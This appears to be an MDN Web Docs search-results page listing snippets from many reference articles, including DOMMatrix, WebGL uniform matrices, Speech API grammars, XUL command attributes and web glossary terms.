... project brief you have been provided with some raw html for the homepage of an imaginary community college, plus some css that styles the page into a three column layout and provides some other rudimentary styling.
... you are to write your css additions below the comment at the bottom of the css file, to make sure it is easy to mark the bits you have done.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
one of the most common engagements you'll have with promises is with web apis that return a promise.
...also, the user may not respond immediately to these permission requests.
... the important thing here is that the getusermedia() call returns almost immediately, even if the camera stream hasn't been obtained yet.
...And 2 more matches
Communicating with frame scripts
chrome code and frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments.
... the api is mostly symmetrical, with one major exception: frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content.
...the listener will be passed a message object whose data property is the message payload: // frame script function handlemessagefromchrome(message) { var payload = message.data.details; // "some more details" } addmessagelistener("my-addon@me.org:message-from-chrome", handlemessagefromchrome); message-manager-disconnect if you're using a message manager to communicate with a script that may be running in a different process, you can listen for the message-manager-disconnect observer notification to know when the message manager has disconnected from the other end of the conversation, so you can stop sending it messages or expecting to receive messages.
...And 2 more matches
nsMsgViewCommandType
the nsmsgviewcommandtype interface contains constants used for commands in thunderbird.
... for example to mark a message read, you would call: // assuming gdbview is a global nsimsgdbview gdbview.docommand(components.interfaces.nsmsgviewcommandtype.markmessagesread); mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
...use with nsimsgdbview.docommandwithfolder() to select the destination folder.
...And 2 more matches
DOMMatrix() - Web APIs
the dommatrix constructor creates a new dommatrix object which represents 4x4 matrices, suitable for 2d and 3d operations..
... syntax var dommatrix = new dommatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string.
... example this example creates a dommatrix to use as an argument for calling point.matrixtransform().
...And 2 more matches
DOMMatrixReadOnly.translate() - Web APIs
the translate() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix with a translation applied.
... dommatrix.translate(translatex, translatey[, translatez]) parameters translatex a number representing the abscissa (x-coordinate) of the translating vector.
... return value returns a dommatrix containing a new matrix being the result of the matrix being translated by the given vector.
...And 2 more matches
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
the webgl2renderingcontext.uniformmatrix[234]x[234]fv() methods of the webgl 2 api specify matrix values for uniform variables.
... syntax void gl.uniformmatrix2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix2x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix2x4fv(location, transpose, data, optional srcoffset, optional srclength);...
... void gl.uniformmatrix3x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4fv(location, transpose, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
WebGLRenderingContext.uniformMatrix[234]fv() - Web APIs
the webglrenderingcontext.uniformmatrix[234]fv() methods of the webgl api specify matrix values for uniform variables.
... the three versions of this method (uniformmatrix2fv(), uniformmatrix3fv(), and uniformmatrix4fv()) take as the input value 2-component, 3-component, and 4-component square matrices, respectively.
... syntax webglrenderingcontext.uniformmatrix2fv(location, transpose, value); webglrenderingcontext.uniformmatrix3fv(location, transpose, value); webglrenderingcontext.uniformmatrix4fv(location, transpose, value); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
Communicating using "port" - Archive of obsolete content
to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
... accessing port in the add-on script in the add-on code, the channel of communication between the add-on and a particular content script context is encapsulated by the worker object.
... thus the port object for communicating with a content script is a property of the corresponding worker object.
...u can just call panel.port.emit(): var panel = require("sdk/panel").panel({ contentscript: "self.port.on('alert', function(text) {" + " console.log(text);" + "});" }); panel.show(); panel.port.emit("alert", "panel is showing"); the panel and page-worker objects only host a single page at a time, so each distinct page object only needs a single channel of communication to its content scripts.
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a dynamic programming language is a programming language in which operations otherwise done at compile-time can be done at run-time.
... this is opposed to so-called static programming languages, in which such changes are normally not possible.
... note that while there is indeed a connection between this dynamic/static property of programming languages and dynamic/static-typing, the two are far from synonymous.
... learn more general knowledge dynamic programming language on wikipedia ...
Symmetric-key cryptography - MDN Web Docs Glossary: Definitions of Web-related terms
symmetric-key cryptography is a term used for cryptographic algorithms that use the same key for encryption and for decryption.
... the key is usually called a "symmetric key" or a "secret key".
... symmetric-key algorithms should be secure when used properly and are highly efficient, so they can be used to encrypt large amounts of data without having a negative effect on performance.
... most symmetric-key algorithms currently in use are block ciphers: this means that they encrypt data one block at a time.
What do common web layouts contain? - Learn web development
when designing pages for your website, it's good to have an idea of the most common layouts.
... summary there's a reason we talk about web design.
...we have over 25 years' experience and we'll give you some common rules of thumb to help you design your site.
... these elements are quite common in all form factors, but they can be laid out different ways.
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
the following links point to solutions to common everyday problems you'll need to solve with html.
... how to use css within a webpage how to use javascript within a webpage embedded content how to embed a webpage within another webpage how to add flash content within a webpage uncommon or advanced problems beyond the basics, html is very rich and offers advanced features for solving complex problems.
... these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server.
...it provides tools to handle common internationalization issues.
MathML Demo: <mmultiscripts> - attach prescripts and tensor indices to a base
a mathml mmultiscripts object allows you to build tensor-like objects.
...there are some variations possible: <mmultiscripts> a a b c d , nested <msubsup>s a a b c d , or &invisiblecomma; a a ⁣ c b ⁣ d .
... displays a mathml mmultiscripts objects allows you to build tensor-like objects.
... for example m c d a b the scripts come in pairs, with <mprescripts/> used to indicate prescripts and <none/> used to hold an empty position as in f b a there are some variations possible: <mmultiscripts> a a b c d nested <msubsup>s a a b c d or &invisiblecomma; a a ⁣ c b ⁣ d ...
JS_MakeStringImmutable
syntax jsbool js_makestringimmutable(jscontext *cx, jsstring *str); name type description cx jscontext * a context.
... a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or immutable) string.
...applications must call js_makestringimmutable before sharing a jsstring among threads by storing it in a c/c++ variable, field, or array element that another thread can read.
... (when an application shares a string by storing it in a javascript object that another thread can read, the javascript engine automatically makes the string thread-safe.) after a successful call to js_makestringimmutable, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string.
nsIMsgDBViewCommandUpdater
the nsimsgdbviewcommandupdater interface controls changes that occur as the selection changes.
... mailnews/base/public/nsimsgdbview.idl#349scriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
... void updatecommandstatus(); parameters none.
DOMMatrixReadOnly() - Web APIs
the dommatrixreadonly constructor creates a new dommatrixreadonly object which represents 4x4 matrices, suitable for 2d and 3d operations.
... syntax var dommatrixreadonly = new dommatrixreadonly([init]) parameters init optional either a string containing a sequence of numbers or an array of integers specifying the matrix you want to create.
... specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly' in that specification.
... candidate recommendation initial definition.
DOMMatrixReadOnly.flipX() - Web APIs
the flipx() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix flipped about the x-axis.
... syntax dommatrix.flipx() return value returns a dommatrix containing a new matrix being the result of the original matrix flipped about the x-axis, which is equivalent to multiplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0).
... const flipped = document.getelementbyid('flipped'); const matrix = new dommatrixreadonly(); const flippedmatrix = matrix.flipx(); flipped.setattribute('transform', flippedmatrix.tostring()); screenshotlive sample specifications specification status comment geometry interfaces module level 1the definition of 'dommatrixreadonly.flipx()' in that specification.
... candidate recommendation initial definition ...
Document.queryCommandSupported() - Web APIs
the document.querycommandsupported() method reports whether or not the specified editor command is supported by the browser.
... syntax issupported = document.querycommandsupported(command); parameters command the command for which to determine support.
... return value returns a boolean which is true if the command is supported and false if the command isn't.
... notes the 'paste' command return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action [1] example var flg = document.querycommandsupported("selectall"); if(flg) { // ...do something } specifications specification status comment execcommand ...
SpeechGrammar.src - Web APIs
WebAPISpeechGrammarsrc
the src property of the speechgrammar interface sets and returns a string containing the grammar from within in the speechgrammar object.
... syntax var mygrammar = speechgrammarinstance.src; value a domstring representing the grammar.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecogn...
... specifications specification status comment web speech apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
the optional weight property of the speechgrammar interface sets and returns the weight of the speechgrammar object.
... syntax var mygrammarweight = speechgrammarinstance.weight; value a float representing the weight of the grammar, in the range 0.0–1.0.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecogn...
... specifications specification status comment web speech apithe definition of 'weight' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgrammarlist interface is a standard getter — it allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
... syntax var myfirstgrammar = speechgrammarlistinstance[0]; returns a speechgrammar object.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
... specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechGrammarList.length - Web APIs
the length read-only property of the speechgrammarlist interface returns the number of speechgrammar objects contained in the speechgrammarlist.
... syntax var mylistlength = speechgrammarlistinstance.length; value a number indicating the number of speechgrammar objects contained in the speechgrammarlist.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
... specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognition.grammars - Web APIs
the grammars property of the speechrecognition interface returns and sets a collection of speechgrammar objects that represent the grammars that will be understood by the current speechrecognition.
... syntax var mygrammars = myspeechrecognition.grammars; myspeechrecognition.grammars = myspeechgrammarlist; value a speechgrammarlist containing the speechgrammar objects that represent your grammar for your app.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognitio...
... specifications specification status comment web speech apithe definition of 'grammars' in that specification.
Window.updateCommands() - Web APIs
summary updates the state of commands of the current chrome window (ui).
... syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event this is (e.g.
... notes this enables or disables items (setting or clearing the "disabled" attribute on the command node as appropriate), or ensures that the command state reflects the state of the selection by setting current state information in the "state" attribute of the xul command nodes.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetupdatecommands non-standardchrome no support noedge no support nofirefox full support yesie ?
<small>: the side comment element - HTML: Hypertext Markup Language
WebHTMLElementsmall
the html <small> element represents side-comments and small print, like copyright and legal text, independent of its styled presentation.
... <span style="font-size:0.8em">this whole sentence is in small letters.</span> </p> specifications specification status comments html living standardthe definition of '<small>' in that specification.
... recommendation html 4.01 specificationthe definition of '<small>' in that specification.
... recommendation notes although the <small> element, like the <b> and <i> elements, may be perceived to violate the principle of separation between structure and presentation, all three are valid in html5.
Recommended Web Performance Timings: How long is too long? - Web Performance
as noted in the description of the critical rendering path, when received, browsers immediately start processing the html, rendering the content as it is received rather than waiting for additional assets to load.
...if you wait three or four seconds without communicating to the user that a load is happening and showing some progress, the typical site will lose potential visitors, and those visitors will take a long time to come back if they ever do.
...50ms seconds feels immediate.
... the acknowledgment of user interaction should often feel immediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous.
Message Summary Database - Archive of obsolete content
the mail summary files (.msf) are used to store summary information about messages and threads in a folder, and some meta information about the folder.
... nsimsgdatabase the main access point to the summary information is nsimsgdatabase.
...this includes a set of per-message flags, the more commonly used headers (e.g., subject, sender, from, to, cc, date, etc), and a few other attributes, e.g., keywords.
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercia...
...archived devedge newsletters are at http://devedge-temp.mozilla.org/community/news/ feeds recent changes rss feed warning: this feed is updated very often.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please send your message to the mdc mailing list.
commandupdater - Archive of obsolete content
« xul reference home commandupdater type: boolean if true, the commandset is used for updating commands.
... typically, this is used to update menu commands such as undo and cut based on when an event occurs.
... for example, since the cut command is only valid when something is selected, a command updater might be used when the select event occurs.
oncommand - Archive of obsolete content
« xul reference home oncommand type: script code this event handler is called when the command is activated.
... this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command.
... example 1: in-line code <button label="click me" oncommand="alert('hi')"/> example 2: function with source argument <button label="click me" oncommand="dosomeprocessing(event.target)"/> and here is the definition of the function: function dosomeprocessing(source) { alert("source: " + source); return true; } see also command element ...
showcommentcolumn - Archive of obsolete content
« xul reference home showcommentcolumn new in thunderbird 3requires seamonkey 2.0 type: boolean if true, a comment column appears in the popup.
... for the url history, the comment column will contain the page titles associated with each url.
... if this attribute is not specified, the comment column doesn't appear.
textbox.showCommentColumn - Archive of obsolete content
« xul reference home showcommentcolumn obsolete since gecko 1.9.1 type: boolean if true, a comment column appears in the popup.
... for the url history, the comment column will contain the page titles associated with each url.
... if this attribute is not specified, the comment column doesn't appear.
Summary of Changes - Archive of obsolete content
proprietary or deprecated feature w3c feature or recommended replacement deprecated font html 4.01 span plus css1 color: ; font-family: ; font-size: ; deprecated center or align="center" css1 text-align: center; for in-line elements like text or image deprecated center or align="center" css1 margin-left: auto; margin-right: auto; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripti...
...ng non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_attribute_value document.all.id_attribute_value document.all[id_attribute_value] dom level 2: document.getelementbyid(id_attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: document.forms["formname"].formctrlname ie5+ document.forms(0) dom level 1: document.forms[0] ie elemref.innertext dom level 1 (core) interface we could introduce dom 3 core textcontent attribute her...
...le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
High-level programming language - MDN Web Docs Glossary: Definitions of Web-related terms
a high-level programming language has a significant abstraction from the details of computer operation.
...unlike low-level programming languages, it may use natural language elements, or may automate (or even entirely hide) significant areas of computing systems, making the process of developing simpler and more understandable relative to a lower-level language.
... the amount of abstraction provided defines how "high-level" a programming language is.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
the following links provide solutions to common problems you may face when working with css.
... common use cases basics how to apply css to the dom how to use whitespace in css how to write comments in css how to select elements via element name, class or id how to select elements via attribute name and content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the background is drawn under how do i define inline, block, and inline-block?
... how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
The Rust programming language
rust is a new open-source systems programming language created by mozilla and a community of volunteers, designed to help developers create fast, secure applications which take full advantage of the powerful features of modern multi-core processors.
... read the book the rust programming language online.
... rust and the future of systems programming unlocking the power of parallelism with rust rust for web developers safe systems programming with rust growing the rust community putting rust into production at mozilla ...
nsIDOMMouseScrollEvent
dom/interfaces/events/nsidommousescrollevent.idlscriptable this interface represents a mouse scroll wheel event.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidommouseevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) gecko 1.9.2 note prior to gecko 1.9.2, this inherited from nsisupports instead of from nsidommouseevent.
... see also nsidommouseevent nsidomevent nsidomeventtarget ...
nsIDOMMozTouchEvent
the nsidommoztouchevent interface describes a raw touch event.
... dom/interfaces/events/nsidommoztouchevent.idlscriptable please add a summary to this article.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidommouseevent method overview void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in ...
Animation.commitStyles() - Web APIs
the commitstyles() method of the web animations api's animation interface commits the end styling state of an animation to the element being animated, even after that animation has been removed.
... syntax animation.commitstyles(); parameters none.
... examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); }); specifications specification status comment web animationsthe definition of 'commitstyles()' in that specification.
DeviceMotionEventRotationRate: gamma - Web APIs
syntax var gamma = devicerotationrate.gamma; this property is read-only.
... return value gamma a double indicating the rate of rotation around the y axis, in degrees per second.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: gamma' in that specification.
Document.createComment() - Web APIs
createcomment() creates a new comment node, and returns it.
... syntax commentnode = document.createcomment(data); parameters data a string containing the data to be added to the comment.
... example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.queryCommandState() - Web APIs
the querycommandstate() method will tell you if the current selection has a certain document.execcommand() command applied.
... syntax querycommandstate(string command) parameters command is a command from document.execcommand() return value querycommandstate() can return a boolean value or null if the state is unknown.
... example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' command is indeterminable."); break; } document.execcommand('bold'); } result specifications specification status comment execcommand ...
Event.stopImmediatePropagation() - Web APIs
the stopimmediatepropagation() method of the event interface prevents other listeners of the same event from being called.
...if stopimmediatepropagation() is invoked during one such call, no remaining listeners will be called.
... syntax event.stopimmediatepropagation(); specifications specification status comment domthe definition of 'event.stopimmediatepropagation()' in that specification.
WebGLRenderingContext.commit() - Web APIs
the webglrenderingcontext.commit() method pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... syntax void webglrenderingcontext.commit() examples var htmlcanvas = document.createelement('canvas'); var offscreen = htmlcanvas.transfercontroltooffscreen(); var gl = offscreen.getcontext('webgl'); // ...
... // push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
Window.clearImmediate() - Web APIs
this method clears the action specified by window.setimmediate.
... syntax window.clearimmediate( immediateid ) where immediateid is a id returned by window.setimmediate.
... examples let immediateid = setimmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { clearimmediate(immediateid); }); specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
::grammar-error - CSS: Cascading Style Sheets
the ::grammar-error css pseudo-element represents a text segment which the user agent has flagged as grammatically incorrect.
... allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
... html <p>my friends is coming to the party tonight.</p> css ::grammar-error { text-decoration: underline red; color: red; } result specifications specification status comment css pseudo-elements level 4the definition of '::grammar-error' in that specification.
SyntaxError: identifier starts immediately after numeric literal - JavaScript
the javascript exception "identifier starts immediately after numeric literal" occurs when an identifier started with a digit.
... message syntaxerror: unexpected identifier after numeric literal (edge) syntaxerror: identifier starts immediately after numeric literal (firefox) syntaxerror: unexpected number (chrome) error type syntaxerror what went wrong?
...the following fails: var 1life = 'foo'; // syntaxerror: identifier starts immediately after numeric literal var foo = 1life; // syntaxerror: identifier starts immediately after numeric literal alert(1.foo); // syntaxerror: identifier starts immediately after numeric literal you will need to rename your variable to avoid the leading number.
logComment - Archive of obsolete content
logcomment adds a comment line to the installation log.
... method of install object syntax int logcomment( string acomment ); parameters the sole input parameter is a string whose value will be written to the log during the installation process.
command - Archive of obsolete content
« xul reference home command type: id set to the id of a command element that is being observed by the element.
... example <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> see also command element, oncommand and commandset ...
commandupdate - Archive of obsolete content
the commandupdate event is executed when a command update occurs on a <commandset>.
... this event would be used to update the disabled status of its commands.
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" commands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." example typically, you'll simply bind this method to your "find next" and "find previous" commands, like this: <command name="cmd_find_previous" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
Community - Extensions
if you know of useful mailing lists, newsgroups, forums, or other communities related to extension development, please link to them here.
... mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
computer programming is a process of composing and organizing a collection of instructions.
... learn more general knowledge computer programming on wikipedia list of programming languages: wikipedia ...
Immutable - MDN Web Docs Glossary: Definitions of Web-related terms
an immutable object is one whose content cannot be changed.
... an object can be immutable for various reasons, for example: to improve performance (no planning for the object's future changes) to reduce memory use (make object references instead of cloning the whole object) thread-safety (multiple threads can reference the same object without interfering with one other) learn more general knowledge immutable on wikipedia ...
Prototype-based programming - MDN Web Docs Glossary: Definitions of Web-related terms
prototype-based programming is a style of object-oriented programming in which classes are not explicitly defined, but rather derived by adding properties and methods to an instance of another class or, less frequently, adding them to an empty object.
... learn more general knowledge prototype-based programming on wikipedia ...
PR_MemMap
syntax #include <prio.h> void* pr_memmap( prfilemap *fmap, print64 offset, pruint32 len); parameters the function has the following parameters: fmap a pointer to the file-mapping object representing the file to be memory-mapped.
... description pr_memmap maps a section of the file represented by the file mapping fmap to memory.
nsIProgrammingLanguage
xpcom/base/nsiprogramminglanguage.idlscriptable this interface provides an enumeration of programming language identifiers.
... inherits from: nsisupports last changed in gecko 0.9.5 constants identifiers for programming languages.
nsMsgViewCommandCheckState
the nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird.
... mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article.
AudioParamMap - Web APIs
the web audio api interface audioparammap represents a set of multiple audio parameters, each described as a mapping of a domstring identifying the parameter to the audioparam object representing its value.
... properties the audioparammap object is accessed as a map in which each parameter is identified by a name string which is mapped to an audioparam containing the value of that parameter.
Comment() - Web APIs
WebAPICommentComment
the comment() constructor returns a newly created comment object with the optional domstring given in parameter as its textual content.
... syntax comment1 = new comment(); // create an empty comment comment2 = new comment("this is a comment"); example var comment = new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification.
HTMLTableElement.summary - Web APIs
the htmltableelement.summary property represents the table description.
... syntax htmltableelement.summary = string; varstring = htmltableelement.summary; example htmltableelement.summary = "usage statistics"; specification w3c dom 2 html specification ...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
for inspiration see the layout labs from jen simmons, she has been creating layouts based on a range of sources.
... for additional common layout patterns see grid by example, where there are many smaller examples of grid layout and also some larger ui patterns and full page layouts.
Common (exsl) - EXSLT
WebEXSLTexsl
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the exslt common package provides basic functions that expand upon the capabilities of xslt.
... the namespace for the common package is http://exslt.org/common.
Community - Developer guides
WebGuideAJAXCommunity
if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... ajax resources ajax workshops and courses skillsmatter.com: courses and events on javascript, ajax, and reverse ajax technologies telerik.com: an active community forum for ajax community.tableau.com: community support forum and courses available for ajax codementor.io: social platform with ajax forums and tutorials lynda.com: tutorials available for learning the fundamentals of ajax ajax interview questions and answer and answerinterwiki links ...
Common MIME types - HTTP
here is a list of mime types, associated by type of documents, ordered by their common extensions.
...rmat application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot ms embedded opentype fonts application/vnd.ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive ...
<xsl:comment> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementcomment
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:comment> element writes a comment to the output document.
... syntax <xsl:comment> template </xsl:comment> required attributes none.
Common Pitfalls - Archive of obsolete content
there are some common pitfalls that should be avoided when writing either extensions or core mozilla code.
Communication between HTML and your extension - Archive of obsolete content
communication between an html page and and extension after building a sample extension by reading carefully and following the complete instructions for building an extension i was able to get an extension that could display something on the status bar.
oncommandupdate - Archive of obsolete content
« xul reference home oncommandupdate type: script code this event occurs when a command update occurs.
onerrorcommand - Archive of obsolete content
« xul reference home onerrorcommand type: script code this event handler is called when an error occurs when selecting a result from the popup.
ontextcommand - Archive of obsolete content
